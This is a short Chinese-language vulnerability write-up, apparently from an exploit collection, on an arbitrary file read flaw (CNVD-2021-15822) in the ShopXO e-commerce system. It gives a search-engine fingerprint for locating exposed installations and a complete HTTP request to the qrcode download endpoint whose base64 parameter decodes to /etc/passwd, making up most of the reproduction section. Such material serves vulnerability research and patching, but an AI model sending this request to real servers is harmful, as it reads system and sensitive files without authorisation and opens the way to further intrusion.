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40 lines
948 B
Markdown
40 lines
948 B
Markdown
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# ShopXO download 任意文件读取漏洞 CNVD-2021-15822
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## 漏洞描述
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ShopXO是一套开源的企业级开源电子商务系统。ShopXO存在任意文件读取漏洞，攻击者可利用该漏洞获取敏感信息
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## 漏洞影响
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```
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ShopXO
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```
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## 网络测绘
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```
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app="ShopXO企业级B2C电商系统提供商"
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```
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## 漏洞复现
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商城主页如下
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发送漏洞请求包
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```plain
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GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Connection: close
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Upgrade-Insecure-Requests: 1
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```
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其中 **/url/xxxx** 中的 base64 解码后为 **/etc/passwd**
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